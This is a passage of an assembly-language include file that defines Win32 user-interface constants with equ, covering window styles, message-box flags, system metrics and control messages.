WVR_VALIDRECTS equ 400h
MK_LBUTTON equ 1h
MK_RBUTTON equ 2h
MK_SHIFT equ 4h
MK_CONTROL equ 8h
MK_MBUTTON equ 10h
WS_OVERLAPPED equ 0h
WS_POPUP equ 80000000h
WS_CHILD equ 40000000h
WS_MINIMIZE equ 20000000h
WS_VISIBLE equ 10000000h
WS_DISABLED equ 8000000h
WS_CLIPSIBLINGS equ 4000000h
WS_CLIPCHILDREN equ 2000000h
WS_MAXIMIZE equ 1000000h
WS_CAPTION equ 0C00000h
WS_BORDER equ 800000h
WS_DLGFRAME equ 400000h
WS_VSCROLL equ 200000h
WS_HSCROLL equ 100000h
WS_SYSMENU equ 80000h
WS_THICKFRAME equ 40000h
WS_GROUP equ 20000h
WS_TABSTOP equ 10000h
WS_MINIMIZEBOX equ 20000h
WS_MAXIMIZEBOX equ 10000h
WS_TILED equ WS_OVERLAPPED
WS_ICONIC equ WS_MINIMIZE
WS_SIZEBOX equ WS_THICKFRAME
WS_OVERLAPPEDWINDOW equ WS_OVERLAPPED|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME|WS_MINIMIZEBOX|
WS_MAXIMIZEBOX
WS_TILEDWINDOW equ WS_OVERLAPPEDWINDOW
WS_POPUPWINDOW equ WS_POPUP|WS_BORDER|WS_SYSMENU
WS_CHILDWINDOW equ WS_CHILD
WS_EX_DLGMODALFRAME equ 1h
WS_EX_NOPARENTNOTIFY equ 4h
WS_EX_TOPMOST equ 8h
WS_EX_ACCEPTFILES equ 10h
WS_EX_TRANSPARENT equ 20h
WS_EX_MDICHILD equ 00000040h
WS_EX_TOOLWINDOW equ 00000080h
WS_EX_WINDOWEDGE equ 00000100h
WS_EX_CLIENTEDGE equ 00000200h
WS_EX_CONTEXTHELP equ 00000400h
WS_EX_RIGHT equ 00001000h
WS_EX_LEFT equ 00000000h
WS_EX_RTLREADING equ 00002000h
WS_EX_LTRREADING equ 00000000h
WS_EX_LEFTSCROLLBAR equ 00004000h
WS_EX_RIGHTSCROLLBAR equ 00000000h
WS_EX_CONTROLPARENT equ 00010000h
WS_EX_STATICEDGE equ 00020000h
WS_EX_APPWINDOW equ 00040000h
WS_EX_OVERLAPPEDWINDOW equ WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE
WS_EX_PALETTEWINDOW equ WS_EX_WINDOWEDGE|WS_EX_TOOLWINDOW|WS_EX_TOPMOST
CS_VREDRAW equ 1h
CS_HREDRAW equ 2h
CS_KEYCVTWINDOW equ 4h
CS_DBLCLKS equ 8h
CS_OWNDC equ 20h
CS_CLASSDC equ 40h
CS_PARENTDC equ 80h
CS_NOKEYCVT equ 100h
CS_NOCLOSE equ 200h
CS_SAVEBITS equ 800h
CS_BYTEALIGNCLIENT equ 1000h
CS_BYTEALIGNWINDOW equ 2000h
CS_PUBLICCLASS equ 4000h
CS_GLOBALCLASS equ CS_PUBLICCLASS
CF_TEXT equ 1
CF_BITMAP equ 2
CF_METAFILEPICT equ 3
CF_SYLK equ 4
CF_DIF equ 5
CF_TIFF equ 6
CF_OEMTEXT equ 7
CF_DIB equ 8
CF_PALETTE equ 9
CF_PENDATA equ 10
CF_RIFF equ 11
CF_WAVE equ 12
CF_OWNERDISPLAY equ 80h
CF_DSPTEXT equ 81h
CF_DSPBITMAP equ 82h
CF_DSPMETAFILEPICT equ 83h
CF_DSPENHMETAFILE equ 8Eh
CF_PRIVATEFIRST equ 200h
CF_PRIVATELAST equ 2FFh
CF_GDIOBJFIRST equ 300h
CF_GDIOBJLAST equ 3FFh
FVIRTKEY equ 1h
FNOINVERT equ 2h
FSHIFT equ 4h
FCONTROL equ 8h
FALT equ 10h
WPF_SETMINPOSITION equ 1h
WPF_RESTORETOMAXIMIZED equ 2h
ODT_MENU equ 1
ODT_LISTBOX equ 2
ODT_COMBOBOX equ 3
ODT_BUTTON equ 4
ODA_DRAWENTIRE equ 1h
ODA_SELECT equ 2h
ODA_FOCUS equ 4h
ODS_SELECTED equ 1h
ODS_GRAYED equ 2h
ODS_DISABLED equ 4h
ODS_CHECKED equ 8h
ODS_FOCUS equ 10h
PM_NOREMOVE equ 0h
PM_REMOVE equ 1h
PM_NOYIELD equ 2h
MOD_ALT equ 1h
MOD_CONTROL equ 2h
MOD_SHIFT equ 4h
IDHOT_SNAPWINDOW equ -1
IDHOT_SNAPDESKTOP equ -2
EWX_LOGOFF equ 0
EWX_SHUTDOWN equ 1
EWX_REBOOT equ 2
EWX_FORCE equ 4
EW_RESTARTWINDOWS equ 42h
READAPI equ 0
WRITEAPI equ 1
READ_WRITE equ 2
HWND_BROADCAST equ 0FFFFh
CW_USEDEFAULT equ 80000000h
HWND_DESKTOP equ 0
SWP_NOSIZE equ 1h
SWP_NOMOVE equ 2h
SWP_NOZORDER equ 4h
SWP_NOREDRAW equ 8h
SWP_NOACTIVATE equ 10h
SWP_FRAMECHANGED equ 20h
SWP_SHOWWINDOW equ 40h
SWP_HIDEWINDOW equ 80h
SWP_NOCOPYBITS equ 100h
SWP_NOOWNERZORDER equ 200h
SWP_DRAWFRAME equ SWP_FRAMECHANGED
SWP_NOREPOSITION equ SWP_NOOWNERZORDER
HWND_TOP equ 0
HWND_BOTTOM equ 1
HWND_TOPMOST equ -1
HWND_NOTOPMOST equ -2
DLGWINDOWEXTRA equ 30
KEYEVENTF_EXTENDEDKEY equ 1h
KEYEVENTF_KEYUP equ 2h
MOUSEEVENTF_MOVE equ 1h
MOUSEEVENTF_LEFTDOWN equ 2h
MOUSEEVENTF_LEFTUP equ 4h
MOUSEEVENTF_RIGHTDOWN equ 8h
MOUSEEVENTF_RIGHTUP equ 10h
MOUSEEVENTF_MIDDLEDOWN equ 20h
MOUSEEVENTF_MIDDLEUP equ 40h
MOUSEEVENTF_ABSOLUTE equ 8000h
QS_KEY equ 1h
QS_MOUSEMOVE equ 2h
QS_MOUSEBUTTON equ 4h
QS_POSTMESSAGE equ 8h
QS_TIMER equ 10h
QS_PAINT equ 20h
QS_SENDMESSAGE equ 40h
QS_HOTKEY equ 80h
QS_MOUSE equ QS_MOUSEMOVE|QS_MOUSEBUTTON
QS_INPUT equ QS_MOUSE|QS_KEY
QS_ALLEVENTS equ QS_INPUT|QS_POSTMESSAGE|QS_TIMER|QS_PAINT|QS_HOTKEY
QS_ALLINPUT equ QS_SENDMESSAGE|QS_PAINT|QS_TIMER|QS_POSTMESSAGE|QS_MOUSEBUTTON|QS_MOUSEMOVE|
QS_HOTKEY|QS_KEY
SM_CXSCREEN equ 0
SM_CYSCREEN equ 1
SM_CXVSCROLL equ 2
SM_CYHSCROLL equ 3
SM_CYCAPTION equ 4
SM_CXBORDER equ 5
SM_CYBORDER equ 6
SM_CXDLGFRAME equ 7
SM_CYDLGFRAME equ 8
SM_CYVTHUMB equ 9
SM_CXHTHUMB equ 10
SM_CXICON equ 11
SM_CYICON equ 12
SM_CXCURSOR equ 13
SM_CYCURSOR equ 14
SM_CYMENU equ 15
SM_CXFULLSCREEN equ 16
SM_CYFULLSCREEN equ 17
SM_CYKANJIWINDOW equ 18
SM_MOUSEPRESENT equ 19
SM_CYVSCROLL equ 20
SM_CXHSCROLL equ 21
SM_DEBUG equ 22
SM_SWAPBUTTON equ 23
SM_RESERVED1 equ 24
SM_RESERVED2 equ 25
SM_RESERVED3 equ 26
SM_RESERVED4 equ 27
SM_CXMIN equ 28
SM_CYMIN equ 29
SM_CXSIZE equ 30
SM_CYSIZE equ 31
SM_CXFRAME equ 32
SM_CYFRAME equ 33
SM_CXMINTRACK equ 34
SM_CYMINTRACK equ 35
SM_CXDOUBLECLK equ 36
SM_CYDOUBLECLK equ 37
SM_CXICONSPACING equ 38
SM_CYICONSPACING equ 39
SM_MENUDROPALIGNMENT equ 40
SM_PENWINDOWS equ 41
SM_DBCSENABLED equ 42
SM_CMOUSEBUTTONS equ 43
SM_CXFIXEDFRAME equ SM_CXDLGFRAME
SM_CYFIXEDFRAME equ SM_CYDLGFRAME
SM_CXSIZEFRAME equ SM_CXFRAME
SM_CYSIZEFRAME equ SM_CYFRAME
SM_SECURE equ 44
SM_CXEDGE equ 45
SM_CYEDGE equ 46
SM_CXMINSPACING equ 47
SM_CYMINSPACING equ 48
SM_CXSMICON equ 49
SM_CYSMICON equ 50
SM_CYSMCAPTION equ 51
SM_CXSMSIZE equ 52
SM_CYSMSIZE equ 53
SM_CXMENUSIZE equ 54
SM_CYMENUSIZE equ 55
SM_ARRANGE equ 56
SM_CXMINIMIZED equ 57
SM_CYMINIMIZED equ 58
SM_CXMAXTRACK equ 59
SM_CYMAXTRACK equ 60
SM_CXMAXIMIZED equ 61
SM_CYMAXIMIZED equ 62
SM_NETWORK equ 63
SM_CLEANBOOT equ 67
SM_CXDRAG equ 68
SM_CYDRAG equ 69
SM_SHOWSOUNDS equ 70
SM_CXMENUCHECK equ 71
SM_CYMENUCHECK equ 72
SM_SLOWMACHINE equ 73
SM_MIDEASTENABLED equ 74
SM_CMETRICS equ 75
TPM_LEFTBUTTON equ 0h
TPM_RIGHTBUTTON equ 2h
TPM_LEFTALIGN equ 0h
TPM_CENTERALIGN equ 4h
TPM_RIGHTALIGN equ 8h
DT_TOP equ 0h
DT_LEFT equ 0h
DT_CENTER equ 1h
DT_RIGHT equ 2h
DT_VCENTER equ 4h
DT_BOTTOM equ 8h
DT_WORDBREAK equ 10h
DT_SINGLELINE equ 20h
DT_EXPANDTABS equ 40h
DT_TABSTOP equ 80h
DT_NOCLIP equ 100h
DT_EXTERNALLEADING equ 200h
DT_CALCRECT equ 400h
DT_NOPREFIX equ 800h
DT_INTERNAL equ 1000h
DCX_WINDOW equ 1h
DCX_CACHE equ 2h
DCX_NORESETATTRS equ 4h
DCX_CLIPCHILDREN equ 8h
DCX_CLIPSIBLINGS equ 10h
DCX_PARENTCLIP equ 20h
DCX_EXCLUDERGN equ 40h
DCX_INTERSECTRGN equ 80h
DCX_EXCLUDEUPDATE equ 100h
DCX_INTERSECTUPDATE equ 200h
DCX_LOCKWINDOWUPDATE equ 400h
DCX_NORECOMPUTE equ 100000h
DCX_VALIDATE equ 200000h
RDW_INVALIDATE equ 1h
RDW_INTERNALPAINT equ 2h
RDW_ERASE equ 4h
RDW_VALIDATE equ 8h
RDW_NOINTERNALPAINT equ 10h
RDW_NOERASE equ 20h
RDW_NOCHILDREN equ 40h
RDW_ALLCHILDREN equ 80h
RDW_UPDATENOW equ 100h
RDW_ERASENOW equ 200h
RDW_FRAME equ 400h
RDW_NOFRAME equ 800h
SW_SCROLLCHILDREN equ 1h
SW_INVALIDATE equ 2h
SW_ERASE equ 4h
ESB_ENABLE_BOTH equ 0h
ESB_DISABLE_BOTH equ 3h
ESB_DISABLE_LEFT equ 1h
ESB_DISABLE_RIGHT equ 2h
ESB_DISABLE_UP equ 1h
ESB_DISABLE_DOWN equ 2h
ESB_DISABLE_LTUP equ ESB_DISABLE_LEFT
ESB_DISABLE_RTDN equ ESB_DISABLE_RIGHT
MB_OK equ 0h
MB_OKCANCEL equ 1h
MB_ABORTRETRYIGNORE equ 2h
MB_YESNOCANCEL equ 3h
MB_YESNO equ 4h
MB_RETRYCANCEL equ 5h
MB_ICONHAND equ 10h
MB_ICONQUESTION equ 20h
MB_ICONEXCLAMATION equ 30h
MB_ICONASTERISK equ 40h
MB_ICONERROR equ MB_ICONHAND
MB_ICONINFORMATION equ MB_ICONASTERISK
MB_ICONSTOP equ MB_ICONHAND
MB_ICONWARNING equ MB_ICONEXCLAMATION
MB_DEFBUTTON1 equ 0h
MB_DEFBUTTON2 equ 100h
MB_DEFBUTTON3 equ 200h
MB_APPLMODAL equ 0h
MB_SYSTEMMODAL equ 1000h
MB_TASKMODAL equ 2000h
MB_NOFOCUS equ 8000h
MB_SETFOREGROUND equ 10000h
MB_DEFAULT_DESKTOP_ONLY equ 20000h
MB_TYPEMASK equ 0Fh
MB_ICONMASK equ 0F0h
MB_DEFMASK equ 0F00h
MB_MODEMASK equ 3000h
MB_MISCMASK equ 0C000h
CTLCOLOR_MSGBOX equ 0
CTLCOLOR_EDIT equ 1
CTLCOLOR_LISTBOX equ 2
CTLCOLOR_BTN equ 3
CTLCOLOR_DLG equ 4
CTLCOLOR_SCROLLBAR equ 5
CTLCOLOR_STATIC equ 6
CTLCOLOR_MAX equ 8
COLOR_SCROLLBAR equ 0
COLOR_BACKGROUND equ 1
COLOR_ACTIVECAPTION equ 2
COLOR_INACTIVECAPTION equ 3
COLOR_MENU equ 4
COLOR_WINDOW equ 5
COLOR_WINDOWFRAME equ 6
COLOR_MENUTEXT equ 7
COLOR_WINDOWTEXT equ 8
COLOR_CAPTIONTEXT equ 9
COLOR_ACTIVEBORDER equ 10
COLOR_INACTIVEBORDER equ 11
COLOR_APPWORKSPACE equ 12
COLOR_HIGHLIGHT equ 13
COLOR_HIGHLIGHTTEXT equ 14
COLOR_BTNFACE equ 15
COLOR_BTNSHADOW equ 16
COLOR_GRAYTEXT equ 17
COLOR_BTNTEXT equ 18
COLOR_INACTIVECAPTIONTEXT equ 19
COLOR_BTNHIGHLIGHT equ 20
COLOR_3DDKSHADOW equ 21
COLOR_3DLIGHT equ 22
COLOR_INFOTEXT equ 23
COLOR_INFOBK equ 24
COLOR_DESKTOP equ COLOR_BACKGROUND
COLOR_3DFACE equ COLOR_BTNFACE
COLOR_3DSHADOW equ COLOR_BTNSHADOW
COLOR_3DHIGHLIGHT equ COLOR_BTNHIGHLIGHT
COLOR_3DHILIGHT equ COLOR_BTNHIGHLIGHT
COLOR_BTNHILIGHT equ COLOR_BTNHIGHLIGHT
GW_HWNDFIRST equ 0
GW_HWNDLAST equ 1
GW_HWNDNEXT equ 2
GW_HWNDPREV equ 3
GW_OWNER equ 4
GW_CHILD equ 5
GW_MAX equ 5
MF_INSERT equ 0h
MF_CHANGE equ 80h
MF_APPEND equ 100h
MF_DELETE equ 200h
MF_REMOVE equ 1000h
MF_BYCOMMAND equ 0h
MF_BYPOSITION equ 400h
MF_SEPARATOR equ 800h
MF_ENABLED equ 0h
MF_GRAYED equ 1h
MF_DISABLED equ 2h
MF_UNCHECKED equ 0h
MF_CHECKED equ 8h
MF_USECHECKBITMAPS equ 200h
MF_STRING equ 0h
MF_BITMAP equ 4h
MF_OWNERDRAW equ 100h
MF_POPUP equ 10h
MF_MENUBARBREAK equ 20h
MF_MENUBREAK equ 40h
MF_UNHILITE equ 0h
MF_HILITE equ 80h
MF_SYSMENU equ 2000h
MF_HELP equ 4000h
MF_MOUSESELECT equ 8000h
MF_END equ 80h
SC_SIZE equ 0F000h
SC_MOVE equ 0F010h
SC_MINIMIZE equ 0F020h
SC_MAXIMIZE equ 0F030h
SC_NEXTWINDOW equ 0F040h
SC_PREVWINDOW equ 0F050h
SC_CLOSE equ 0F060h
SC_VSCROLL equ 0F070h
SC_HSCROLL equ 0F080h
SC_MOUSEMENU equ 0F090h
SC_KEYMENU equ 0F100h
SC_ARRANGE equ 0F110h
SC_RESTORE equ 0F120h
SC_TASKLIST equ 0F130h
SC_SCREENSAVE equ 0F140h
SC_HOTKEY equ 0F150h
SC_ICON equ SC_MINIMIZE
SC_ZOOM equ SC_MAXIMIZE
IDC_ARROW equ 32512
IDC_IBEAM equ 32513
IDC_WAIT equ 32514
IDC_CROSS equ 32515
IDC_UPARROW equ 32516
IDC_SIZE equ 32640
IDC_ICON equ 32641
IDC_SIZENWSE equ 32642
IDC_SIZENESW equ 32643
IDC_SIZEWE equ 32644
IDC_SIZENS equ 32645
IDC_SIZEALL equ 32646
IDC_NO equ 32648
IDC_APPSTARTING equ 32650
OBM_CLOSE equ 32754
OBM_UPARROW equ 32753
OBM_DNARROW equ 32752
OBM_RGARROW equ 32751
OBM_LFARROW equ 32750
OBM_REDUCE equ 32749
OBM_ZOOM equ 32748
OBM_RESTORE equ 32747
OBM_REDUCED equ 32746
OBM_ZOOMD equ 32745
OBM_RESTORED equ 32744
OBM_UPARROWD equ 32743
OBM_DNARROWD equ 32742
OBM_RGARROWD equ 32741
OBM_LFARROWD equ 32740
OBM_MNARROW equ 32739
OBM_COMBO equ 32738
OBM_UPARROWI equ 32737
OBM_DNARROWI equ 32736
OBM_RGARROWI equ 32735
OBM_LFARROWI equ 32734
OBM_OLD_CLOSE equ 32767
OBM_SIZE equ 32766
OBM_OLD_UPARROW equ 32765
OBM_OLD_DNARROW equ 32764
OBM_OLD_RGARROW equ 32763
OBM_OLD_LFARROW equ 32762
OBM_BTSIZE equ 32761
OBM_CHECK equ 32760
OBM_CHECKBOXES equ 32759
OBM_BTNCORNERS equ 32758
OBM_OLD_REDUCE equ 32757
OBM_OLD_ZOOM equ 32756
OBM_OLD_RESTORE equ 32755
OCR_NORMAL equ 32512
OCR_IBEAM equ 32513
OCR_WAIT equ 32514
OCR_CROSS equ 32515
OCR_UP equ 32516
OCR_SIZE equ 32640
OCR_ICON equ 32641
OCR_SIZENWSE equ 32642
OCR_SIZENESW equ 32643
OCR_SIZEWE equ 32644
OCR_SIZENS equ 32645
OCR_SIZEALL equ 32646
OCR_ICOCUR equ 32647
OCR_NO equ 32648
OIC_SAMPLE equ 32512
OIC_HAND equ 32513
OIC_QUES equ 32514
OIC_BANG equ 32515
OIC_NOTE equ 32516
ORD_LANGDRIVER equ 1
IDI_APPLICATION equ 32512
IDI_HAND equ 32513
IDI_QUESTION equ 32514
IDI_EXCLAMATION equ 32515
IDI_ASTERISK equ 32516
IDOK equ 1
IDCANCEL equ 2
IDABORT equ 3
IDRETRY equ 4
IDIGNORE equ 5
IDYES equ 6
IDNO equ 7
ES_LEFT equ 0h
ES_CENTER equ 1h
ES_RIGHT equ 2h
ES_MULTILINE equ 4h
ES_UPPERCASE equ 8h
ES_LOWERCASE equ 10h
ES_PASSWORD equ 20h
ES_AUTOVSCROLL equ 40h
ES_AUTOHSCROLL equ 80h
ES_NOHIDESEL equ 100h
ES_OEMCONVERT equ 400h
ES_READONLY equ 800h
ES_WANTRETURN equ 1000h
EN_SETFOCUS equ 100h
EN_KILLFOCUS equ 200h
EN_CHANGE equ 300h
EN_UPDATE equ 400h
EN_ERRSPACE equ 500h
EN_MAXTEXT equ 501h
EN_HSCROLL equ 601h
EN_VSCROLL equ 602h
EM_GETSEL equ 0B0h
EM_SETSEL equ 0B1h
EM_GETRECT equ 0B2h
EM_SETRECT equ 0B3h
EM_SETRECTNP equ 0B4h
EM_SCROLL equ 0B5h
EM_LINESCROLL equ 0B6h
EM_SCROLLCARET equ 0B7h
EM_GETMODIFY equ 0B8h
EM_SETMODIFY equ 0B9h
EM_GETLINECOUNT equ 0BAh
EM_LINEINDEX equ 0BBh
EM_SETHANDLE equ 0BCh
EM_GETHANDLE equ 0BDh
EM_GETTHUMB equ 0BEh
EM_LINELENGTH equ 0C1h
EM_REPLACESEL equ 0C2h
EM_GETLINE equ 0C4h
EM_LIMITTEXT equ 0C5h
EM_CANUNDO equ 0C6h
EM_UNDO equ 0C7h
EM_FMTLINES equ 0C8h
EM_LINEFROMCHAR equ 0C9h
EM_SETTABSTOPS equ 0CBh
EM_SETPASSWORDCHAR equ 0CCh
EM_EMPTYUNDOBUFFER equ 0CDh
EM_GETFIRSTVISIBLELINE equ 0CEh
EM_SETREADONLY equ 0CFh
EM_SETWORDBREAKPROC equ 0D0h
EM_GETWORDBREAKPROC equ 0D1h
EM_GETPASSWORDCHAR equ 0D2h
EM_SETMARGINS equ 0D3h
EM_GETMARGINS equ 0D4h
EM_SETLIMITTEXT equ EM_LIMITTEXT
EM_GETLIMITTEXT equ 0D5h
EM_POSFROMCHAR equ 0D6h
EM_CHARFROMPOS equ 0D7h
WB_LEFT equ 0
WB_RIGHT equ 1
WB_ISDELIMITER equ 2
BS_PUSHBUTTON equ 0h
BS_DEFPUSHBUTTON equ 1h
BS_CHECKBOX equ 2h
BS_AUTOCHECKBOX equ 3h
BS_RADIOBUTTON equ 4h
BS_3STATE equ 5h
BS_AUTO3STATE equ 6h
BS_GROUPBOX equ 7h
BS_USERBUTTON equ 8h
BS_AUTORADIOBUTTON equ 9h
BS_OWNERDRAW equ 0Bh
BS_LEFTTEXT equ 20h
BS_BITMAP equ 80h
BS_ICON equ 40h
BN_CLICKED equ 0
BN_PAINT equ 1
BN_HILITE equ 2
BN_UNHILITE equ 3
BN_DISABLE equ 4
BN_DOUBLECLICKED equ 5
BN_SETFOCUS equ 6
BN_KILLFOCUS equ 7
BST_UNCHECKED equ 00h
BST_CHECKED equ 01h
BST_INDETERMINATE equ 02h
BST_PUSHED equ 04h
BM_GETCHECK equ 0F0h
BM_SETCHECK equ 0F1h
BM_GETSTATE equ 0F2h
BM_SETSTATE equ 0F3h
BM_SETSTYLE equ 0F4h
BM_CLICK equ 0F5h
BM_GETIMAGE equ 0F6h
BM_SETIMAGE equ 0F7h
SS_LEFT equ 0h
SS_CENTER equ 1h
SS_RIGHT equ 2h
SS_ICON equ 3h
SS_BLACKRECT equ 4h
SS_GRAYRECT equ 5h
SS_WHITERECT equ 6h
SS_BLACKFRAME equ 7h
SS_GRAYFRAME equ 8h
SS_WHITEFRAME equ 9h
SS_USERITEM equ 0Ah
SS_SIMPLE equ 0Bh
SS_LEFTNOWORDWRAP equ 0Ch
SS_NOPREFIX equ 80h
STM_SETICON equ 170h
STM_GETICON equ 171h
STM_MSGMAX equ 172h
WC_DIALOG equ 8002
DWL_MSGRESULT equ 0
DWL_DLGPROC equ 4
DWL_USER equ 8
DDL_READWRITE equ 0h
DDL_READONLY equ 1h
DDL_HIDDEN equ 2h
DDL_SYSTEM equ 4h
DDL_DIRECTORY equ 10h
DDL_ARCHIVE equ 20h
DDL_POSTMSGS equ 2000h
DDL_DRIVES equ 4000h
DDL_EXCLUSIVE equ 8000h
DS_ABSALIGN equ 0001h
DS_SYSMODAL equ 0002h
DS_3DLOOK equ 0004h
DS_FIXEDSYS equ 0008h
DS_NOFAILCREATE equ 0010h
DS_LOCALEDIT equ 0020h
DS_SETFONT equ 0040h
DS_MODALFRAME equ 0080h
DS_NOIDLEMSG equ 0100h
DS_SETFOREGROUND equ 0200h
DS_CONTROL equ 0400h
DS_CENTER equ 0800h
DS_CENTERMOUSE equ 1000h
DS_CONTEXTHELP equ 2000h
DM_GETDEFID equ WM_USER+0
DM_SETDEFID equ WM_USER+1
DC_HASDEFID equ 534h
DLGC_WANTARROWS equ 1h
DLGC_WANTTAB equ 2h
DLGC_WANTALLKEYS equ 4h
DLGC_WANTMESSAGE equ 4h
DLGC_HASSETSEL equ 8h
DLGC_DEFPUSHBUTTON equ 10h
DLGC_UNDEFPUSHBUTTON equ 20h
DLGC_RADIOBUTTON equ 40h
DLGC_WANTCHARS equ 80h
DLGC_STATIC equ 100h
DLGC_BUTTON equ 2000h
LB_CTLCODE equ 0
LB_OKAY equ 0
LB_ERR equ -1
LB_ERRSPACE equ -2
LBN_ERRSPACE equ -2
LBN_SELCHANGE equ 1
LBN_DBLCLK equ 2
LBN_SELCANCEL equ 3
LBN_SETFOCUS equ 4
LBN_KILLFOCUS equ 5
LB_ADDSTRING equ 180h
LB_INSERTSTRING equ 181h
LB_DELETESTRING equ 182h
LB_SELITEMRANGEEX equ 183h
LB_RESETCONTENT equ 184h
LB_SETSEL equ 185h
LB_SETCURSEL equ 186h
LB_GETSEL equ 187h
LB_GETCURSEL equ 188h
LB_GETTEXT equ 189h
LB_GETTEXTLEN equ 18Ah
LB_GETCOUNT equ 18Bh
LB_SELECTSTRING equ 18Ch
LB_DIR equ 18Dh
LB_GETTOPINDEX equ 18Eh
LB_FINDSTRING equ 18Fh
LB_GETSELCOUNT equ 190h
LB_GETSELITEMS equ 191h
LB_SETTABSTOPS equ 192h
LB_GETHORIZONTALEXTENT equ 193h
LB_SETHORIZONTALEXTENT equ 194h
LB_SETCOLUMNWIDTH equ 195h
LB_ADDFILE equ 196h
LB_SETTOPINDEX equ 197h
LB_GETITEMRECT equ 198h
LB_GETITEMDATA equ 199h
LB_SETITEMDATA equ 19Ah
LB_SELITEMRANGE equ 19Bh
LB_SETANCHORINDEX equ 19Ch
LB_GETANCHORINDEX equ 19Dh
LB_SETCARETINDEX equ 19Eh
LB_GETCARETINDEX equ 19Fh
LB_SETITEMHEIGHT equ 1A0h
LB_GETITEMHEIGHT equ 1A1h
LB_FINDSTRINGEXACT equ 1A2h
LB_SETLOCALE equ 1A5h
LB_GETLOCALE equ 1A6h
LB_SETCOUNT equ 1A7h
LB_MSGMAX equ 1A8h
LBS_NOTIFY equ 1h
LBS_SORT equ 2h
LBS_NOREDRAW equ 4h
LBS_MULTIPLESEL equ 8h
LBS_OWNERDRAWFIXED equ 10h
LBS_OWNERDRAWVARIABLE equ 20h
LBS_HASSTRINGS equ 40h
LBS_USETABSTOPS equ 80h
LBS_NOINTEGRALHEIGHT equ 100h
LBS_MULTICOLUMN equ 200h
LBS_WANTKEYBOARDINPUT equ 400h
LBS_EXTENDEDSEL equ 800h
LBS_DISABLENOSCROLL equ 1000h
LBS_NODATA equ 2000h
LBS_STANDARD equ LBS_NOTIFY|LBS_SORT|WS_VSCROLL|WS_BORDER
CB_OKAY equ 0
CB_ERR equ -1
CB_ERRSPACE equ -2
CBN_ERRSPACE equ -1
CBN_SELCHANGE equ 1
CBN_DBLCLK equ 2
CBN_SETFOCUS equ 3
CBN_KILLFOCUS equ 4
CBN_EDITCHANGE equ 5
CBN_EDITUPDATE equ 6
CBN_DROPDOWN equ 7
CBN_CLOSEUP equ 8
CBN_SELENDOK equ 9
CBN_SELENDCANCEL equ 10
CBS_SIMPLE equ 1h
CBS_DROPDOWN equ 2h
CBS_DROPDOWNLIST equ 3h
CBS_OWNERDRAWFIXED equ 10h
CBS_OWNERDRAWVARIABLE equ 20h
CBS_AUTOHSCROLL equ 40h
CBS_OEMCONVERT equ 80h
CBS_SORT equ 100h
CBS_HASSTRINGS equ 200h
CBS_NOINTEGRALHEIGHT equ 400h
CBS_DISABLENOSCROLL equ 800h
CB_GETEDITSEL equ 140h
CB_LIMITTEXT equ 141h
CB_SETEDITSEL equ 142h
CB_ADDSTRING equ 143h
CB_DELETESTRING equ 144h
CB_DIR equ 145h
CB_GETCOUNT equ 146h
CB_GETCURSEL equ 147h
CB_GETLBTEXT equ 148h
CB_GETLBTEXTLEN equ 149h
CB_INSERTSTRING equ 14Ah
CB_RESETCONTENT equ 14Bh
CB_FINDSTRING equ 14Ch
CB_SELECTSTRING equ 14Dh
CB_SETCURSEL equ 14Eh
CB_SHOWDROPDOWN equ 14Fh
CB_GETITEMDATA equ 150h
CB_SETITEMDATA equ 151h
CB_GETDROPPEDCONTROLRECT equ 152h
CB_SETITEMHEIGHT equ 153h
CB_GETITEMHEIGHT equ 154h
CB_SETEXTENDEDUI equ 155h
CB_GETEXTENDEDUI equ 156h
CB_GETDROPPEDSTATE equ 157h
CB_FINDSTRINGEXACT equ 158h
CB_SETLOCALE equ 159h
CB_GETLOCALE equ 15Ah
CB_GETTOPINDEX equ 15Bh
CB_SETTOPINDEX equ 15Ch
CB_GETHORIZONTALEXTENT equ 15Dh
CB_SETHORIZONTALEXTENT equ 15Eh
CB_GETDROPPEDWIDTH equ 15Fh
CB_SETDROPPEDWIDTH equ 160h
CB_INITSTORAGE equ 161h
CB_MSGMAX equ 162h
SBS_HORZ equ 0h
SBS_VERT equ 1h
SBS_TOPALIGN equ 2h
SBS_LEFTALIGN equ 2h
SBS_BOTTOMALIGN equ 4h
SBS_RIGHTALIGN equ 4h
SBS_SIZEBOXTOPLEFTALIGN equ 2h
SBS_SIZEBOXBOTTOMRIGHTALIGN equ 4h
SBS_SIZEBOX equ 8h
SBS_SIZEGRIP equ 10h
SBM_SETPOS equ 0E0h
SBM_GETPOS equ 0E1h
SBM_SETRANGE equ 0E2h
SBM_SETRANGEREDRAW equ 0E6h
SBM_GETRANGE equ 0E3h
SBM_ENABLE_ARROWS equ 0E4h
MDIS_ALLCHILDSTYLES equ 1h
MDITILE_VERTICAL equ 0h
MDITILE_HORIZONTAL equ 1h
MDITILE_SKIPDISABLED equ 2h
HELP_CONTEXT equ 1h
HELP_QUIT equ 2h
HELP_INDEX equ 3h
HELP_CONTENTS equ 3h
HELP_HELPONHELP equ 4h
HELP_SETINDEX equ 5h
HELP_SETCONTENTS equ 5h
HELP_CONTEXTPOPUP equ 8h
HELP_FORCEFILE equ 9h
HELP_KEY equ 101h
HELP_COMMAND equ 102h
HELP_PARTIALKEY equ 105h
HELP_MULTIKEY equ 201h
HELP_SETWINPOS equ 203h
HELP_CONTEXTMENU equ 000Ah
HELP_FINDER equ 000Bh
HELP_WM_HELP equ 000Ch
HELP_SETPOPUP_POS equ 000Dh
HELP_TCARD equ 8000h
HELP_TCARD_DATA equ 0010h
HELP_TCARD_OTHER_CALLER equ 0011h
IDH_NO_HELP equ 28440
IDH_MISSING_CONTEXT equ 28441
IDH_GENERIC_HELP_BUTTON equ 28442
IDH_OK equ 28443
IDH_CANCEL equ 28444
IDH_HELP equ 28445
SPI_GETBEEP equ 1
SPI_SETBEEP equ 2
SPI_GETMOUSE equ 3
SPI_SETMOUSE equ 4
SPI_GETBORDER equ 5
SPI_SETBORDER equ 6
SPI_GETKEYBOARDSPEED equ 10
SPI_SETKEYBOARDSPEED equ 11
SPI_LANGDRIVER equ 12
SPI_ICONHORIZONTALSPACING equ 13
SPI_GETSCREENSAVETIMEOUT equ 14
SPI_SETSCREENSAVETIMEOUT equ 15
SPI_GETSCREENSAVEACTIVE equ 16
SPI_SETSCREENSAVEACTIVE equ 17
SPI_GETGRIDGRANULARITY equ 18
SPI_SETGRIDGRANULARITY equ 19
SPI_SETDESKWALLPAPER equ 20
SPI_SETDESKPATTERN equ 21
SPI_GETKEYBOARDDELAY equ 22
SPI_SETKEYBOARDDELAY equ 23
